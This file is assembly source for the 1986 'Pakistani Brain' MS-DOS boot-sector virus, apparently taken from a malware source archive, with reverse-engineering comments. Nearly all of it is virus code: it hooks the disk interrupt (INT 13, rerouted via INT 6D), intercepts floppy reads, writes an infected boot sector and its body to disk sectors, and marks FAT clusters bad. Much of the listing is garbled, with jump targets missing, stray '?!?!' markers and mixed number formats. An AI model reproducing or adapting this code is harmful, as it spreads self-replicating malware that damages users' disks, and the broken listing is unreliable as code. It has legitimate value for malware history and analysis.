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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pakbrain.asm

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2021-01-12 23:55:26 +00:00
The "Pakistani Brain"
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE SEGMENT PUBLIC 'CODE' ;
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
;
ORG 0 ;
;
BPB EQU 3+8 ;JMP + OEM_NAME
;
;-----------------------------------------------------------------------;
; COPY OF BOOT SECTOR ;
;-----------------------------------------------------------------------;
;
DB 6 DUP (?) ;
;
L0006 DB ? ;HEAD
L0007 DB ? ;SECTOR
L0008 DB ? ;TRACK
;
L0009 DB ? ;HEAD
L000A DB ? ;SECTOR
L000B DB ? ;TRACK
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;
ORG 512 ;
;
;-----------------------------------------------------------------------;
; (BOOT SECTOR TYPE FORMAT!) ;
;-----------------------------------------------------------------------;
CONTINUE: JMP CONTINUE_2 ;023C
;
L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
L0210 DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 2
DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REBOOT: INT 19H ;REBOOT
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_2: ;
CLI ;
XOR AX,AX ;
MOV ES,AX ;ES=0
MOV SS,AX ;SS:SP = 0000:7C00
MOV SP,7C00H ;
MOV DS,AX ;
MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E)
MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F
MOV [7AH],BX ;
;
MOV DS,BX ;DS = 07C0
MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E !
MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 !
INT 13H ;RESET
JNB C_10 ;
JMP ERROR_2 ;IF ERROR...'BOOT FAILURE'
;
C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B
MOV CX,[SI] ;CX = BYTES PER SECTOR
SHR CH,1 ;WORDS PER SECTOR
XCHG CH,CL ;
MOV [2BH],CX ;SAVE ;BOOT:002B
MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010
XOR AH,AH ;
MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016
ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E
ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C
MOV [24H],AX ;SAVE IT ;BOOT:0024
MOV BX,7E00H ;
CALL UI ;
;
MOV BX,ES ;SAVE ES
MOV AX,70H ;ES=0070H
MOV ES,AX ;
MOV AX,32 ;32*
MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+
MOV CX,[SI] ;
ADD AX,CX ; BYTES/SECTOR
DEC AX ; -1
DIV CX ; /BYTES/SECTOR
ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT
;
MOV CL,[2AH] ;
MOV AX,[24H] ;
CALL READ_CLUSTER ;(READ BOOT SECTOR ???)
;
PUSH ES ;
POP DS ;
JMP 0070H:0000H ;(PASS CONTROL TO ???)
;
;-----------------------------------------------------------------------;
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ;
; ON ENTRY: AX = ?
; ES:BX = DTA ;
; CL = ? ;
; DS:SI = BPB ;
; DS:[0021] = ;
;-----------------------------------------------------------------------;
READ_CLUSTER: ;02B3
PUSH BX ;
PUSH AX ;
;
MOV AL,CL ;
MUL Byte Ptr [2BH] ;
MOV [29H],AL ;
POP AX ;
MUL Word Ptr [2BH] ;
DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK)
INC DL ;
MOV [28H],DL ;
PUSH DX ;
XOR DX,DX ;
DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS)
MOV [21H],DL ;
MOV [26H],AX ;
POP DX ;
RC_10: MOV CL,[29H] ;
ADD DL,CL ;
MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK)
INC AX ;
CMP DL,AL ;
JBE RC_20 ;
SUB AL,[28H] ;
MOV CL,AL ;
RC_20: MOV AL,CL ;
MOV DX,[26H] ;
MOV CL,6 ;
SHL DH,CL ;
OR DH,[28H] ;
MOV CX,DX ;
XCHG CH,CL ;
MOV DX,[20H] ;
;
MOV AH,2 ;READ SECTOR
PUSH AX ;
INT 13H ;
POP AX ;
JB ERROR_2 ;IF ERROR...'BOOT FAILURE'
SUB [29H],AL ;
JBE RC_90 ;
CBW ;
MUL Word Ptr [2DH] ;
ADD BX,AX ;
INC Byte Ptr [21H] ;
MOV DL,[21H] ;
CMP DL,[SI+0FH] ;
MOV DL,1 ;
MOV [28H],DL ;
JB RC_10 ;
MOV Byte Ptr [21H],0 ;
INC Word Ptr [26H] ;
JMP RC_10 ;
;
RC_90: POP BX ;
RET ;
;
;-----------------------------------------------------------------------;
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ;
;-----------------------------------------------------------------------;
ERROR_1: ;0339
MOV SI,01B3H ;'Non-System disk'
JMP E_10 ;
;
;---------------------------------------;
ERROR_2: ;
MOV SI,01C5H ;'BOOT failure'
E_10: CALL DISPLAY_STRING ;
;
MOV SI,01D4H ;'Replace and press any key when ready'
CALL DISPLAY_STRING ;
;
MOV AH,0 ;WAIT FOR A KEY
INT 16H ;
E_20: MOV AH,1 ; THROW IT AWAY AND
INT 16H ; WAIT FOR ANOTHER ONE BUT
JNZ E_20 ; DONT GET IT
JMP REBOOT ;
;
;-----------------------------------------------------------------------;
; DISPLAY ASCIIZ STRING ;
; ON ENTRY: DS:SI = ASCIIZ STRING ;
;-----------------------------------------------------------------------;
DISPLAY_STRING: ;0357
DS_00: LODSB ;DISPLAY UNTIL NULL
OR AL,AL ;
JZ DS_90 ;
MOV AH,0EH ;
MOV BX,7 ;
INT 10 ;
JMP DS_00 ;
DS_90: RET ;0365
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
UI: ;0366:
MOV CL,01 ;
CALL READ_CLUSTER ;
;
PUSH SI ;
MOV DI,BX ;
MOV AX,ES:[BX+1C] ;
XOR DX,DX ;
DIV Word Ptr [SI] ;
INC AL ;
MOV [002A],AL ;
MOV SI,019D ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
MOV AX,ES:[BX+3A] ;
MOV [0022],AX ;
MOV DI,BX ;
ADD DI,+20 ;
MOV SI,01A8 ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
POP SI ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L039D DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0400: JMP SHORT CONT_A ;
;
DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONT_A: ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0A5B DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD AL,00 ;0425 0400
ADD [06C6],CH ;0427 002EC606
AND AX,1F02 ;042B 25021F
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REDIRECT_13: ;042E
XOR AX,AX ;GET INT 13 VECTOR
MOV DS,AX ;
MOV AX,[004CH] ;
MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR)
MOV AX,[004EH] ;
MOV [01B6H],AX ;
MOV AX,0276H ;SET INT 13 VECTOR
MOV [004CH],AX ;
MOV AX,CS ;
MOV [004EH],AX ;
;
MOV CX,0004 ;RETRY = 4
XOR AX,AX ;
MOV ES,AX ;
L0450: PUSH CX ;
MOV DH,CS:[0006] ;DH = HEAD
MOV DL,00 ;DRIVE A:
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV AX,0201 ;READ 1 SECTOR
MOV BX,7C00 ;ES:BX == DTA = 0000:7C00
INT 6DH ;
JNB L0470 ;
MOV AH,00 ;RESET
INT 6DH ;
POP CX ;TRY AGAIN
LOOP L0450 ;
INT 18H ;LOAD BASIC
;
L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?!
;
NOP ;0475 90
STI ;0476 FB
CMP AH,02 ;0477 80FC02
JNZ L0494 ;047A 7518
CMP DL,02 ;047C 80FA02
JA L0494 ;047F 7713
CMP CH,00 ;0481 80FD00
JNZ L048B ;0484 7505
CMP DH,00 ;0486 80FE00
JZ L0497 ;0489 740C
L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502
JNZ L0494 ;0490 7502
JMP L0497 ;0492 EB03
L0494: JMP L053C ;0494 E9A500
L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200
MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204
PUSH AX ;04A3 50
PUSH BX ;04A4 53
PUSH CX ;04A5 51
PUSH DX ;04A6 52
MOV CS:[0226],DL ;04A7 2E88162602
MOV CX,0004 ;04AC B90400
PUSH CX ;04AF 51
MOV AH,00 ;04B0 B400
INT 6D ;04B2 CD6D
JB ;04CB ;04B4 7215
MOV DH,00 ;04B6 B600
MOV CX,0001 ;04B8 B90100
MOV BX,06BE ;04BB BBBE06
PUSH ES ;04BE 06
MOV AX,CS ;04BF 8CC8
MOV ES,AX ;04C1 8EC0
MOV AX,0201 ;04C3 B80102
INT 6D ;04C6 CD6D
POP ES ;04C8 07
JNB ;04D1 ;04C9 7306
POP CX ;04CB 59
LOOP ;04AF ;04CC E2E1
JMP ;04FF ;04CE EB2F
NOP ;04D0 90
POP CX ;04D1 59
MOV AX,CS:[06C2] ;04D2 2EA1C206
CMP AX,1234 ;04D6 3D3412
JNZ ;04E3 ;04D9 7508
MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201
JMP ;0503 ;04E1 EB20
PUSH DS ;04E3 1E
PUSH ES ;04E4 06
MOV AX,CS ;04E5 8CC8
MOV DS,AX ;04E7 8ED8
MOV ES,AX ;04E9 8EC0
PUSH SI ;04EB 56
CALL L0804 ;04EC E81503
JB ;04FA ;04EF 7209
MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202
CALL L06B2 ;04F7 E8B801
POP SI ;04FA 5E
POP ES ;04FB 07
POP DS ;04FC 1F
JNB ;0503 ;04FD 7304
MOV AH,00 ;04FF B400
INT 6D ;0501 CD6D
POP DX ;0503 5A
POP CX ;0504 59
POP BX ;0505 5B
POP AX ;0506 58
CMP CX,+01 ;0507 83F901
JNZ L053C ;050A 7530
CMP DH,00 ;050C 80FE00
JNZ L053C ;050F 752B
CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201
JNZ ;052A ;0517 7511
MOV CX,CS:[06C5] ;0519 2E8B0EC506
MOV DX,CS:[06C3] ;051E 2E8B16C306
MOV DL,CS:[0226] ;0523 2E8A162602
JMP L053C ;0528 EB12
CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202
JNZ L053C ;0530 750A
;
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV DH,CS:[0006] ;DH = HEAD
L053C: INT 6DH ;
RETF 2 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0550: JMP CONTINUE_3 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0553 DW 3 ;
DB ' (c) 1986 Basit & Amjads (pvt) Ltd'
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_3: ;0577
CALL READ_VERIFY ;READ VERIFY
MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS...
CMP AX,0FFFDH ;
JE L0586 ;...CONTINUE
MOV AL,3 ;ELSE RETURN ??? ERROR
STC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0586: ;0586
MOV CX,0037 ;
MOV Word Ptr [0353],0000 ;
CALL ;05F8 ;058F E86600
CMP AX,0000 ;0592 3D0000
JNZ ;05A5 ;0595 750E
INC Word Ptr [0353] ;0597 FF065303
CMP Word Ptr [0353],+03 ;059B 833E530303
JNZ ;05AB ;05A0 7509
JMP ;05B6 ;05A2 EB12
NOP ;05A4 90
MOV Word Ptr [0353],0000 ;05A5 C70653030000
INC CX ;05AB 41
CMP CX,0163 ;05AC 81F96301
JNZ ;058F ;05B0 75DD
MOV AL,01 ;05B2 B001
STC ;05B4 F9
RET ;05B5 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV DL,03 ;05B6 B203
CALL ;05CB ;05B8 E81000
DEC CX ;05BB 49
DEC DL ;05BC FECA
JNZ ;05B8 ;05BE 75F8
INC CX ;05C0 41
CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD
CALL ;062D ;05C4 E86600
MOV AL,00 ;05C7 B000
CLC ;05C9 F8
RET ;05CA C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05CB 51
PUSH DX ;05CC 52
MOV SI,06BE ;05CD BEBE06
MOV AL,CL ;05D0 8AC1
SHR AL,1 ;05D2 D0E8
JB ;05E4 ;05D4 720E
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05D9 8B00
AND AX,F000 ;05DB 2500F0
OR AX,0FF7 ;05DE 0DF70F
JMP ;05EF ;05E1 EB0C
NOP ;05E3 90
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05E7 8B00
AND AX,000F ;05E9 250F00
OR AX,FF70 ;05EC 0D70FF
MOV [BX+SI],AX ;05EF 8900
MOV [BX+SI+0400],AX ;05F1 89800004
POP DX ;05F5 5A
POP CX ;05F6 59
RET ;05F7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05F8 51
MOV SI,06BE ;05F9 BEBE06
MOV AL,CL ;05FC 8AC1
SHR AL,1 ;05FE D0E8
JB L060D ;0600 720B
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0605 8B00
AND AX,0FFF ;0607 25FF0F
JMP L0619 ;060A EB0D
;
L060D: CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0610 8B00
AND AX,FFF0 ;0612 25F0FF
MOV CL,04 ;0615 B104
SHR AX,CL ;0617 D3E8
L0619: POP CX ;0619 59
RET ;061A C3
;
;-----------------------------------------------------------------------;
; BX = (CX*3)/2 ;
;-----------------------------------------------------------------------;
FUNCTION_1: ;061B
PUSH DX ;
MOV AX,3 ;
MUL CX ;
SHR AX,1 ;
MOV BX,AX ;
POP DX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_VERIFY: ;0627
MOV AH,2 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_VERIFY: ;062D
MOV AH,03 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
VERIFY_SECTORS: ;0633
MOV CX,4 ;RETRY = 4
L0636: PUSH CX ;
PUSH AX ;
MOV AH,0 ;REST
INT 6DH ;
POP AX ;
JB L0653 ;
MOV BX,offset L06BEH ;
MOV AL,4 ;4==VERIFY
MOV DH,00 ;HEAD 0
MOV DL,[0226] ;DRIVE DL
MOV CX,0002 ;TRACK 0/SECTOR 2
PUSH AX ;
INT 6DH ;
POP AX ;
JNB L065C ;IF ERROR...EXIT
L0653: POP CX ;
LOOP L0636 ;RETRY
POP AX ;
POP AX ;
MOV AL,2 ;BAD ADDRESS MARK ???
STC ;RETURN ERROR
RET ;
;
L065C: POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ;
;-----------------------------------------------------------------------;
CONVERT_1: ;065E
PUSH CX ;
SUB CX,2 ;
SHL CX,1 ;WORD PTR
ADD CX,9*2 ; (SECTORS PER CYLINDER ???)
MOV AX,CX ;
MOV CL,9*2 ; (SECTORS PER CYLINDER ???)
DIV CL ;
MOV DS:[0008],AL ;AL = TRACK
MOV Byte Ptr DS:[0006],0 ;INC. HEAD
INC AH ;INC. SECTOR
CMP AH,9 ;IF TOO BIG...
JBE L0684 ;
SUB AH,9 ;...START AT ZERO
MOV Byte Ptr DS:[0006],1 ;INC. HEAD
L0684: MOV DS:[0007],AH ;
POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;068A 0000
ADD [BX+SI],AL ;068C 0000
ADD [BX+SI],AL ;068E 0000
ADD BP,[SI+00] ;0690 036C00
ADD AX,[BP+DI] ;0693 0303
MOV SI,010E ;0695 BE0E01
ADD [BX+SI],AL ;0698 0000
ADD AX,SP ;069A 01E0
FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0
LAHF ;06A0 9F
LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E
LOOPNZ ;06C7 ;06A5 E020
SUB [BP+DI+29],AH ;06A7 286329
AND [BP+SI+72],AL ;06AA 204272
POPA ;06AD 61
IMUL BP,[BP+20],E824 ;06AE 696E2024E8
FILD DWord Ptr [BX+SI] ;06B3 DB00
JB L06C1 ;06B5 720A
PUSH DI ;06B7 57
CALL ;06DA ;06B8 E81F00
POP DI ;06BB 5F
JB L06C1 ;06BC 7203
CALL WRITE_RBF ;WRITE ROOT BOOT FAT
L06C1: RET ;06C1 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV BX,049B ;06C2 BB9B04
MOV CX,000B ;
L06C8: MOV AL,[BX] ;
NEG AL ;
MOV [SI],AL ;
INC SI ;
INC BX ;
LOOP L06C8 ;
;
MOV AL,08 ;
MOV [SI],AL ;
CLC ;
RET ;06D7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV Byte Ptr [06C7],91 ;06D8 C606C70691
ADD AL,6C ;06DD 046C
ADD [BP+06FE],BH ;06DF 00BEFE06
MOV [0493],DX ;06E3 89169304
MOV AX,[0491] ;06E7 A19104
SHR AX,1 ;06EA D1E8
MOV [0497],AX ;06EC A39704
SHR AX,1 ;06EF D1E8
MOV [0495],AX ;06F1 A39504
XCHG AX,CX ;06F4 91
AND CL,43 ;06F5 80E143
MOV DI,[0495] ;06F8 8B3E9504
ADD DI,01E3 ;06FC 81C7E301
MOV AL,[SI] ;0700 8A04
CMP AL,00 ;0702 3C00
JZ ;071B ;0704 7415
MOV AL,[SI+0B] ;0706 8A440B
AND AL,08 ;0709 2408
CMP AL,08 ;070B 3C08
JZ ;071B ;070D 740C
ADD SI,+20 ;070F 83C620
DEC Word Ptr [0491] ;0712 FF0E9104
JNZ ;0700 ;0716 75E8
STC ;0718 F9
RET ;0719 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
: ;071A
MOV CX,[BP+DI+331D] ;
PUSH DS ;071E 1E
XCHG AX,DI ;071F 97
ADD AL,89 ;0720 0489
XCHG AX,DI ;0722 3697
ADD AL,FA ;0724 04FA
MOV AX,SS ;0726 8CD0
MOV SS:[0493],AX ;0728 A39304
MOV [0495],SP ;072B 89269504
MOV AX,CS ;072F 8CC8
MOV SS,AX ;0731 8ED0
MOV SP,[0497] ;0733 8B269704
ADD SP,+0C ;0737 83C40C
MOV CL,51 ;073A B151
ADD DX,444C ;073C 81C24C44
MOV DI,2555 ;0740 BF5525
MOV CX,0C03 ;0743 B9030C
REPZ ;0746 F3
CMPSW ;0747 A7
MOV AX,0B46 ;0748 B8460B
MOV CX,0003 ;074B B90300
ROL AX,CL ;074E D3C0
MOV [0497],AX ;0750 A39704
MOV CX,0005 ;0753 B90500
MOV DX,0008 ;0756 BA0800
SUB Word Ptr [0497],5210 ;0759 812E97041052
PUSH [0497] ;075F FF369704
L0763: MOV AH,[BX] ;0763 8A27
INC BX ;0765 43
MOV DL,AH ;0766 8AD4
SHL DL,1 ;0768 D0E2
JB L0763 ;076A 72F7
L076C: MOV DL,[BX] ;076C 8A17
INC BX ;076E 43
MOV AL,DL ;076F 8AC2
SHL DL,1 ;0771 D0E2
JB L076C ;0773 72F7
ADD AX,1D1D ;0775 051D1D
PUSH AX ;0778 50
INC Word Ptr [0497] ;0779 FF069704
JNB L0780 ;077D 7301
JMP 268B:E1E2 ;077F EAE2E18B26
;
XCHG AX,BP ;0784 95
ADD AL,A1 ;0785 04A1
XCHG AX,BX ;0787 93
ADD AL,8E ;0788 048E
SAR BL,1 ;078A D0FB
ADD DH,[BP+SI] ;078C 0232
CLC ;078E F8
RET ;078F C3
;
;-----------------------------------------------------------------------;
; READ ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
READ_RBF: ;0790
MOV Byte Ptr [0490],02 ;COMMAND = READ
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
WRITE_RBF: ;0798
MOV Byte Ptr [0490],03 ;COMMAND = WRITE
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; READ OR WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
ROOT_BOOT_FAT: ;07A0
MOV DH,0 ;HEAD = 0
MOV DL,[226H] ;DL = DRIVE
MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
MOV AH,[490H] ;AH = COMMAND
MOV AL,4 ;4 SECTORS
MOV BX,6BEH ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
JB L07C9 ;IF ERROR...EXIT
;
MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1
MOV DH,1 ;HEAD 1
MOV AH,[490H] ;AH = COMMAND
MOV AL,3 ;3 SECTORS
ADD BX,800H ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
L07C9: RET ;
;
;-----------------------------------------------------------------------;
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ;
;-----------------------------------------------------------------------;
RESET_DO_IT: ;07CA
MOV [0493],AX ;
MOV [0495],BX ;SAVE REGs
MOV [0497],CX ;
MOV [0499],DX ;
MOV CX,0004 ;RETRY COUNT = 4
;
RDI_10: PUSH CX ;
MOV AH,00 ;REST DRIVE
INT 6D ;
JB RDI_80 ;IF ERROR...RETRY
MOV AX,[0493] ;RESTORE REGs
MOV BX,[0495] ;
MOV CX,[0497] ;
MOV DX,[0499] ;
INT 6D ;DO SPECIFIED FUNCTION
JNB RDI_90 ;IF NO ERROR...EXIT
RDI_80: POP CX ;
LOOP RDI_10 ;RETRY
STC ;RETURN ERROR
RET ;
;
RDI_90: POP CX ;RETURN NO ERROR
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;07FD 0000
ADD [BP+DI],AL ;07FF 0003
ADD [BX+DI],AL ;0801 0001
L0804: ?!?!
ADD BP,AX ;0803 03E8
DEC CX ;0805 49
STD ;0806 FD
JB ;085D ;0807 7254
;
MOV Word Ptr [000A],0001 ;
MOV Byte Ptr [0009],00 ;
MOV BX,06BE ;ES:BX = DTA ?
CALL READ_SECTORS ;
;
MOV BX,06BE ;BX = DTA
MOV AX,[0007] ;GET SECTOR TRACK
MOV [000A],AX ;SAVE SECTOR/TRACK
MOV AH,[0006] ;GET HEAD
MOV [0009],AH ;SAVE HEAD
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
;
MOV CX,0005 ;CX = ???
MOV BX,0200 ;BX = DTA
L0837: MOV [0600],CX ;SAVE ???
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
ADD BX,512 ;DTA += 512
MOV CX,[0600] ;???
LOOP L0837 ;LOOP 5 TIMES ???
;
MOV Byte Ptr [0009],00 ;HEAD = 0
MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1
MOV BX,0000 ;DTA = INFECTED BOOT SECTOR
CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR
CLC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_SECTORS: ;085E
MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_SECTORS: ;0867
MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ;
; ;
; ON ENTRY: DS:[601H] = COMMAND ;
; DS:[602H] = SECTOR COUNT ;
; DS:[226H] = DRIVE ;
; DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
DO_SECTORS: ;0870
PUSH BX ;
MOV CX,4 ;RETRY COUNT = 4
;
D1S_10: PUSH CX ;
MOV DH,[9] ;HEAD = 9
MOV DL,[226H] ;DRIVE
MOV CX,[10] ;TRACK/SECT
MOV AX,[602H] ;COMMAND/COUNT
INT 6DH ;(SAME AS INT 13)
JNB D1S_80 ;
;
MOV AH,00 ;RESET
INT 6DH ;(SAME AS INT 13)
POP CX ;
LOOP D1S_10 ;TRY AGAIN
POP BX ;
POP BX ;
STC ;RETURN ERROR
RET ;
;
D1S_80: POP CX ;0893 59
POP BX ;0894 5B
RET ;0895 C3
;
;-----------------------------------------------------------------------;
; INC. NEXT SECTOR ;
; ON ENTRY: DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
NEXT_SECTOR: ;0896
INC Byte Ptr [10] ;SECTOR
CMP Byte Ptr [10],10 ;
JNZ NS_90 ;
MOV Byte Ptr [10],1 ;
INC Byte Ptr [9] ;HEAD
CMP Byte Ptr [9],2 ;
JNZ NS_90 ;
MOV Byte Ptr [9],0 ;
INC Byte Ptr [11] ;TRACK
NS_90: RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
DB 64 ;08BB 'dtk'
JZ ;091F ;
;
;---------------------------------------;
JMP CONTINUE_4 ;08FA
;
DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 002H,0DFH
DB 002H,025H,002H,012H
DB 02AH,0FFH,050H,0F6H
DB 000H,002H,
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
INT 19H ;REBOOT
;
L08FA: CLI ;08FA FA
XOR AX,AX ;08FB 33C0
MOV ES,AX ;08FD 8EC0
MOV SS,AX ;08FF 8ED0
MOV SP,7C00 ;0901 BC007C
MOV DS,AX ;0904 8ED8
MOV BX,07C0 ;0906 BBC007
MOV Word Ptr [0078],002F ;0909 C70678002F00
MOV [007A],BX ;090F 891E7A00
MOV DS,BX ;0913 8EDB
MOV DX,[001E] ;0915 8B161E00
MOV [0020],DL ;0919 88162000
INT 13 ;GO TO DISK
JNB ;0924 ;091F 7303
JMP ;09FC ;0921 E9D800
MOV SI,000B ;0924 BE0B00
MOV CX,[SI] ;0927 8B0C
SHR CH,1 ;0929 D0ED
XCHG CH,CL ;092B 86E9
MOV [002B],CX ;092D 890E2B00
MOV AL,[SI+05] ;0931 8A4405
XOR AH,AH ;0934 32E4
MUL Word Ptr [SI+0B] ;0936 F7640B
ADD AX,[SI+03] ;0939 034403
ADD AX,[SI+11] ;093C 034411
MOV [0024],AX ;093F A32400
MOV BX,7E00 ;0942 BB007E
CALL 0A24 ;0945 E8DC00
MOV BX,ES ;0948 8CC3
MOV AX,0070 ;094A B87000
MOV ES,AX ;094D 8EC0
MOV AX,0020 ;094F B82000
MUL Word Ptr [SI+06] ;0952 F76406
MOV CX,[SI] ;0955 8B0C
